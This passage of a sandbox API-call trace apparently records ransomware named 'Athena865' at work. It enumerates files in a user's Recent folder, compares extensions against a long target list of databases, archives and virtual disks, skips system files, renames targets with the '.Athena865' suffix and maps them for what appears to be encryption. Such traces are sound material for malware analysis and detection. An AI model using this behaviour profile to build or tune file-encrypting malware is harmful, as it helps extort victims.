lstrlenW (lpString=".sys") returned 4 [0052.556] lstrcmpiW (lpString1="hm58cOqk.lnk", lpString2=".sys") returned 1 [0052.556] lstrlenW (lpString="hm58cOqk.lnk") returned 12 [0052.556] lstrlenW (lpString="bak") returned 3 [0052.556] lstrcmpiW (lpString1="lnk", lpString2="bak") returned 1 [0052.556] lstrlenW (lpString="ba_") returned 3 [0052.556] lstrcmpiW (lpString1="lnk", lpString2="ba_") returned 1 [0052.556] lstrlenW (lpString="dbb") returned 3 [0052.556] lstrcmpiW (lpString1="lnk", lpString2="dbb") returned 1 [0052.556] lstrlenW (lpString="vmdk") returned 4 [0052.556] lstrcmpiW (lpString1=".lnk", lpString2="vmdk") returned -1 [0052.556] lstrlenW (lpString="rar") returned 3 [0052.556] lstrcmpiW (lpString1="lnk", lpString2="rar") returned -1 [0052.556] lstrlenW (lpString="zip") returned 3 [0052.556] lstrcmpiW (lpString1="lnk", lpString2="zip") returned -1 [0052.556] lstrlenW (lpString="tgz") returned 3 [0052.556] lstrcmpiW (lpString1="lnk", lpString2="tgz") returned -1 [0052.556] lstrlenW (lpString="vbox") returned 4 [0052.556] lstrcmpiW (lpString1=".lnk", lpString2="vbox") returned -1 [0052.556] lstrlenW (lpString="vdi") returned 3 [0052.556] lstrcmpiW (lpString1="lnk", lpString2="vdi") returned -1 [0052.557] lstrlenW (lpString="vhd") returned 3 [0052.557] lstrcmpiW (lpString1="lnk", lpString2="vhd") returned -1 [0052.557] lstrlenW (lpString="vhdx") returned 4 [0052.557] lstrcmpiW (lpString1=".lnk", lpString2="vhdx") returned -1 [0052.557] lstrlenW (lpString="avhd") returned 4 [0052.557] lstrcmpiW (lpString1=".lnk", lpString2="avhd") returned -1 [0052.557] lstrlenW (lpString="db") returned 2 [0052.557] lstrcmpiW (lpString1="nk", lpString2="db") returned 1 [0052.557] lstrlenW (lpString="db2") returned 3 [0052.557] lstrcmpiW (lpString1="lnk", lpString2="db2") returned 1 [0052.557] lstrlenW (lpString="db3") returned 3 [0052.557] lstrcmpiW (lpString1="lnk", lpString2="db3") returned 1 [0052.557] lstrlenW (lpString="dbf") returned 3 [0052.557] lstrcmpiW (lpString1="lnk", lpString2="dbf") returned 1 [0052.557] lstrlenW (lpString="mdf") returned 3 [0052.557] lstrcmpiW (lpString1="lnk", lpString2="mdf") returned -1 [0052.557] lstrlenW (lpString="mdb") returned 3 [0052.557] lstrcmpiW (lpString1="lnk", lpString2="mdb") returned -1 [0052.557] lstrlenW (lpString="sql") returned 3 [0052.557] lstrcmpiW (lpString1="lnk", lpString2="sql") returned -1 [0052.557] lstrlenW (lpString="sqlite") returned 6 [0052.557] lstrcmpiW (lpString1="qk.lnk", lpString2="sqlite") returned -1 [0052.557] lstrlenW (lpString="sqlite3") returned 7 [0052.557] lstrcmpiW (lpString1="Oqk.lnk", lpString2="sqlite3") returned -1 [0052.557] lstrlenW (lpString="sqlitedb") returned 8 [0052.557] lstrcmpiW (lpString1="cOqk.lnk", lpString2="sqlitedb") returned -1 [0052.557] lstrlenW (lpString="xml") returned 3 [0052.557] lstrcmpiW (lpString1="lnk", lpString2="xml") returned -1 [0052.557] lstrlenW (lpString="$er") returned 3 [0052.557] lstrcmpiW (lpString1="lnk", lpString2="$er") returned 1 [0052.557] lstrlenW (lpString="4dd") returned 3 [0052.557] lstrcmpiW (lpString1="lnk", lpString2="4dd") returned 1 [0052.557] lstrlenW (lpString="4dl") returned 3 [0052.557] lstrcmpiW (lpString1="lnk", lpString2="4dl") returned 1 [0052.557] lstrlenW (lpString="^^^") returned 3 [0052.557] lstrcmpiW (lpString1="lnk", lpString2="^^^") returned 1 [0052.558] lstrlenW (lpString="abs") returned 3 [0052.558] lstrcmpiW (lpString1="lnk", lpString2="abs") returned 1 [0052.558] lstrlenW (lpString="abx") returned 3 [0052.558] lstrcmpiW (lpString1="lnk", lpString2="abx") returned 1 [0052.558] lstrlenW (lpString="accdb") returned 5 [0052.558] lstrcmpiW (lpString1="k.lnk", lpString2="accdb") returned 1 [0052.558] lstrlenW (lpString="accdc") returned 5 [0052.558] lstrcmpiW (lpString1="k.lnk", lpString2="accdc") returned 1 [0052.558] lstrlenW (lpString="accde") returned 5 [0052.558] lstrcmpiW (lpString1="k.lnk", lpString2="accde") returned 1 [0052.558] lstrlenW (lpString="accdr") returned 5 [0052.558] lstrcmpiW (lpString1="k.lnk", lpString2="accdr") returned 1 [0052.558] lstrlenW (lpString="accdt") returned 5 [0052.558] lstrcmpiW (lpString1="k.lnk", lpString2="accdt") returned 1 [0052.558] lstrlenW (lpString="accdw") returned 5 [0052.558] lstrcmpiW (lpString1="k.lnk", lpString2="accdw") returned 1 [0052.558] lstrlenW (lpString="accft") returned 5 [0052.558] lstrcmpiW (lpString1="k.lnk", lpString2="accft") returned 1 [0052.558] lstrlenW (lpString="adb") returned 3 [0052.558] lstrcmpiW (lpString1="lnk", lpString2="adb") returned 1 [0052.558] lstrlenW (lpString="adb") returned 3 [0052.558] lstrcmpiW (lpString1="lnk", lpString2="adb") returned 1 [0052.558] lstrlenW (lpString="ade") returned 3 [0052.558] lstrcmpiW (lpString1="lnk", lpString2="ade") returned 1 [0052.558] lstrlenW (lpString="adf") returned 3 [0052.558] lstrcmpiW (lpString1="lnk", lpString2="adf") returned 1 [0052.558] lstrlenW (lpString="adn") returned 3 [0052.558] lstrcmpiW (lpString1="lnk", lpString2="adn") returned 1 [0052.558] lstrlenW (lpString="adp") returned 3 [0052.558] lstrcmpiW (lpString1="lnk", lpString2="adp") returned 1 [0052.558] lstrlenW (lpString="alf") returned 3 [0052.558] lstrcmpiW (lpString1="lnk", lpString2="alf") returned 1 [0052.558] lstrlenW (lpString="ask") returned 3 [0052.559] lstrcmpiW (lpString1="lnk", lpString2="ask") returned 1 [0052.559] lstrlenW (lpString="btr") returned 3 [0052.559] lstrcmpiW (lpString1="lnk", lpString2="btr") returned 1 [0052.559] lstrlenW (lpString="cat") returned 3 [0052.559] lstrcmpiW (lpString1="lnk", lpString2="cat") returned 1 [0052.559] lstrlenW (lpString="cdb") returned 3 [0052.559] lstrcmpiW (lpString1="lnk", lpString2="cdb") returned 1 [0052.559] lstrlenW (lpString="ckp") returned 3 [0052.559] lstrcmpiW (lpString1="lnk", lpString2="ckp") returned 1 [0052.559] lstrlenW (lpString="cma") returned 3 [0052.559] lstrcmpiW (lpString1="lnk", lpString2="cma") returned 1 [0052.559] lstrlenW (lpString="cpd") returned 3 [0052.559] lstrcmpiW (lpString1="lnk", lpString2="cpd") returned 1 [0052.559] lstrlenW (lpString="dacpac") returned 6 [0052.559] lstrcmpiW (lpString1="qk.lnk", lpString2="dacpac") returned 1 [0052.559] lstrlenW (lpString="dad") returned 3 [0052.559] lstrcmpiW (lpString1="lnk", lpString2="dad") returned 1 [0052.559] lstrlenW (lpString="dadiagrams") returned 10 [0052.559] lstrcmpiW (lpString1="58cOqk.lnk", lpString2="dadiagrams") returned -1 [0052.559] lstrlenW (lpString="daschema") returned 8 [0052.559] lstrcmpiW (lpString1="cOqk.lnk", lpString2="daschema") returned -1 [0052.559] lstrlenW (lpString="db-journal") returned 10 [0052.559] lstrcmpiW (lpString1="58cOqk.lnk", lpString2="db-journal") returned -1 [0052.559] lstrlenW (lpString="db-shm") returned 6 [0052.559] lstrcmpiW (lpString1="qk.lnk", lpString2="db-shm") returned 1 [0052.559] lstrlenW (lpString="db-wal") returned 6 [0052.559] lstrcmpiW (lpString1="qk.lnk", lpString2="db-wal") returned 1 [0052.559] lstrlenW (lpString="dbc") returned 3 [0052.559] lstrcmpiW (lpString1="lnk", lpString2="dbc") returned 1 [0052.559] lstrlenW (lpString="dbs") returned 3 [0052.559] lstrcmpiW (lpString1="lnk", lpString2="dbs") returned 1 [0052.559] lstrlenW (lpString="dbt") returned 3 [0052.559] lstrcmpiW (lpString1="lnk", lpString2="dbt") returned 1 [0052.560] lstrlenW (lpString="dbv") returned 3 [0052.560] lstrcmpiW (lpString1="lnk", lpString2="dbv") returned 1 [0052.560] lstrlenW (lpString="dbx") returned 3 [0052.560] lstrcmpiW (lpString1="lnk", lpString2="dbx") returned 1 [0052.560] lstrlenW (lpString="dcb") returned 3 [0052.560] lstrcmpiW (lpString1="lnk", lpString2="dcb") returned 1 [0052.560] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\hm58cOqk.lnk.Athena865") returned 76 [0052.560] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\hm58cOqk.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\hm58coqk.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\hm58cOqk.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\hm58coqk.lnk.athena865"), dwFlags=0x1) returned 1 [0052.561] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\hm58cOqk.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\hm58coqk.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0052.561] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2593) returned 1 [0052.561] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0052.561] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0052.561] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0052.561] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0052.562] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0052.562] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.562] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd30, lpName=0x0) returned 0x154 [0052.562] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd30) returned 0x100000 [0052.563] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0052.563] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0052.563] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.564] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0052.564] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0052.564] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52aba0 [0052.564] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0052.564] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52aba0 | out: hHeap=0x4f0000) returned 1 [0052.564] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0052.564] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52aba0 [0052.564] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0052.564] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52aba0 | out: hHeap=0x4f0000) returned 1 [0052.564] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0052.564] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0052.564] CloseHandle (hObject=0x154) returned 1 [0052.564] CloseHandle (hObject=0x17c) returned 1 [0052.565] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0052.565] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518c50 | out: hHeap=0x4f0000) returned 1 [0052.565] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0052.565] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcef6180, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbcef6180, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0052.565] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0052.565] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1f08020, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xb1f08020, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xb1f08020, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x1487, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hPkLzsrliDv.flv.lnk", cAlternateFileName="HPKLZS~1.LNK")) returned 1 [0052.565] lstrcmpiW (lpString1="hPkLzsrliDv.flv.lnk", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0052.566] lstrcmpiW (lpString1="hPkLzsrliDv.flv.lnk", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0052.566] lstrcmpiW (lpString1="hPkLzsrliDv.flv.lnk", lpString2=".") returned 1 [0052.566] lstrcmpiW (lpString1="hPkLzsrliDv.flv.lnk", lpString2="..") returned 1 [0052.566] lstrcmpiW (lpString1="hPkLzsrliDv.flv.lnk", lpString2="windows") returned -1 [0052.566] lstrcmpiW (lpString1="hPkLzsrliDv.flv.lnk", lpString2="bootmgr") returned 1 [0052.566] lstrcmpiW (lpString1="hPkLzsrliDv.flv.lnk", lpString2="temp") returned -1 [0052.566] lstrcmpiW (lpString1="hPkLzsrliDv.flv.lnk", lpString2="pagefile.sys") returned -1 [0052.566] lstrcmpiW (lpString1="hPkLzsrliDv.flv.lnk", lpString2="boot") returned 1 [0052.566] lstrcmpiW (lpString1="hPkLzsrliDv.flv.lnk", lpString2="ids.txt") returned -1 [0052.566] lstrcmpiW (lpString1="hPkLzsrliDv.flv.lnk", lpString2="ntuser.dat") returned -1 [0052.566] lstrcmpiW (lpString1="hPkLzsrliDv.flv.lnk", lpString2="perflogs") returned -1 [0052.566] lstrcmpiW (lpString1="hPkLzsrliDv.flv.lnk", lpString2="MSBuild") returned -1 [0052.566] lstrlenW (lpString="hPkLzsrliDv.flv.lnk") returned 19 [0052.566] lstrcpyW (in: lpString1=0x241e8b4, lpString2="hPkLzsrliDv.flv.lnk" | out: lpString1="hPkLzsrliDv.flv.lnk") returned="hPkLzsrliDv.flv.lnk" [0052.566] lstrlenW (lpString="hPkLzsrliDv.flv.lnk") returned 19 [0052.566] lstrlenW (lpString="Athena865") returned 9 [0052.566] lstrcmpiW (lpString1="v.flv.lnk", lpString2="Athena865") returned 1 [0052.566] lstrlenW (lpString=".dll") returned 4 [0052.566] lstrcmpiW (lpString1="hPkLzsrliDv.flv.lnk", lpString2=".dll") returned 1 [0052.566] lstrlenW (lpString=".lnk") returned 4 [0052.566] lstrcmpiW (lpString1="hPkLzsrliDv.flv.lnk", lpString2=".lnk") returned 1 [0052.566] lstrlenW (lpString=".ini") returned 4 [0052.566] lstrcmpiW (lpString1="hPkLzsrliDv.flv.lnk", lpString2=".ini") returned 1 [0052.566] lstrlenW (lpString=".sys") returned 4 [0052.566] lstrcmpiW (lpString1="hPkLzsrliDv.flv.lnk", lpString2=".sys") returned 1 [0052.566] lstrlenW (lpString="hPkLzsrliDv.flv.lnk") returned 19 [0052.566] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\hPkLzsrliDv.flv.lnk.Athena865") returned 83 [0052.566] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\hPkLzsrliDv.flv.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\hpklzsrlidv.flv.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\hPkLzsrliDv.flv.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\hpklzsrlidv.flv.lnk.athena865"), dwFlags=0x1) returned 1 [0052.567] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\hPkLzsrliDv.flv.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\hpklzsrlidv.flv.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0052.567] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5255) returned 1 [0052.568] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0052.568] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0052.568] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0052.568] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0052.569] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0052.569] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.569] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1790, lpName=0x0) returned 0x154 [0052.569] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1790) returned 0x100000 [0052.569] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0052.570] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0052.570] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.570] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0052.570] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0052.570] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52aba0 [0052.570] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0052.570] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52aba0 | out: hHeap=0x4f0000) returned 1 [0052.570] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0052.570] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52aba0 [0052.570] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0052.570] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52aba0 | out: hHeap=0x4f0000) returned 1 [0052.571] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0052.571] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0052.571] CloseHandle (hObject=0x154) returned 1 [0052.571] CloseHandle (hObject=0x17c) returned 1 [0052.572] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0052.572] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518c50 | out: hHeap=0x4f0000) returned 1 [0052.572] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0052.572] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafe4d1a0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xafe4d1a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xafe4d1a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x1434, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HzwU7v.lnk", cAlternateFileName="")) returned 1 [0052.572] lstrcmpiW (lpString1="HzwU7v.lnk", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0052.572] lstrcmpiW (lpString1="HzwU7v.lnk", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0052.572] lstrcmpiW (lpString1="HzwU7v.lnk", lpString2=".") returned 1 [0052.572] lstrcmpiW (lpString1="HzwU7v.lnk", lpString2="..") returned 1 [0052.572] lstrcmpiW (lpString1="HzwU7v.lnk", lpString2="windows") returned -1 [0052.572] lstrcmpiW (lpString1="HzwU7v.lnk", lpString2="bootmgr") returned 1 [0052.572] lstrcmpiW (lpString1="HzwU7v.lnk", lpString2="temp") returned -1 [0052.572] lstrcmpiW (lpString1="HzwU7v.lnk", lpString2="pagefile.sys") returned -1 [0052.572] lstrcmpiW (lpString1="HzwU7v.lnk", lpString2="boot") returned 1 [0052.572] lstrcmpiW (lpString1="HzwU7v.lnk", lpString2="ids.txt") returned -1 [0052.572] lstrcmpiW (lpString1="HzwU7v.lnk", lpString2="ntuser.dat") returned -1 [0052.572] lstrcmpiW (lpString1="HzwU7v.lnk", lpString2="perflogs") returned -1 [0052.572] lstrcmpiW (lpString1="HzwU7v.lnk", lpString2="MSBuild") returned -1 [0052.572] lstrlenW (lpString="HzwU7v.lnk") returned 10 [0052.572] lstrcpyW (in: lpString1=0x241e8b4, lpString2="HzwU7v.lnk" | out: lpString1="HzwU7v.lnk") returned="HzwU7v.lnk" [0052.572] lstrlenW (lpString="HzwU7v.lnk") returned 10 [0052.573] lstrlenW (lpString="Athena865") returned 9 [0052.573] lstrcmpiW (lpString1="zwU7v.lnk", lpString2="Athena865") returned 1 [0052.573] lstrlenW (lpString=".dll") returned 4 [0052.573] lstrcmpiW (lpString1="HzwU7v.lnk", lpString2=".dll") returned 1 [0052.573] lstrlenW (lpString=".lnk") returned 4 [0052.573] lstrcmpiW (lpString1="HzwU7v.lnk", lpString2=".lnk") returned 1 [0052.573] lstrlenW (lpString=".ini") returned 4 [0052.573] lstrcmpiW (lpString1="HzwU7v.lnk", lpString2=".ini") returned 1 [0052.573] lstrlenW (lpString=".sys") returned 4 [0052.573] lstrcmpiW (lpString1="HzwU7v.lnk", lpString2=".sys") returned 1 [0052.573] lstrlenW (lpString="HzwU7v.lnk") returned 10 [0052.573] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\HzwU7v.lnk.Athena865") returned 74 [0052.573] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\HzwU7v.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\hzwu7v.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\HzwU7v.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\hzwu7v.lnk.athena865"), dwFlags=0x1) returned 1 [0052.574] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\HzwU7v.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\hzwu7v.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0052.575] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5172) returned 1 [0052.575] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0052.576] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0052.576] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0052.577] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0052.578] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0052.578] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.578] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1740, lpName=0x0) returned 0x154 [0052.578] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1740) returned 0x100000 [0052.578] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0052.579] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0052.579] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.579] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0052.579] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0052.579] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52aba0 [0052.579] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0052.579] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52aba0 | out: hHeap=0x4f0000) returned 1 [0052.579] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0052.579] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52aba0 [0052.580] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0052.580] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52aba0 | out: hHeap=0x4f0000) returned 1 [0052.580] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0052.580] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0052.580] CloseHandle (hObject=0x154) returned 1 [0052.580] CloseHandle (hObject=0x17c) returned 1 [0052.581] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0052.581] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518c50 | out: hHeap=0x4f0000) returned 1 [0052.581] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0052.581] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1c34600, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xb1c34600, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xb1c34600, 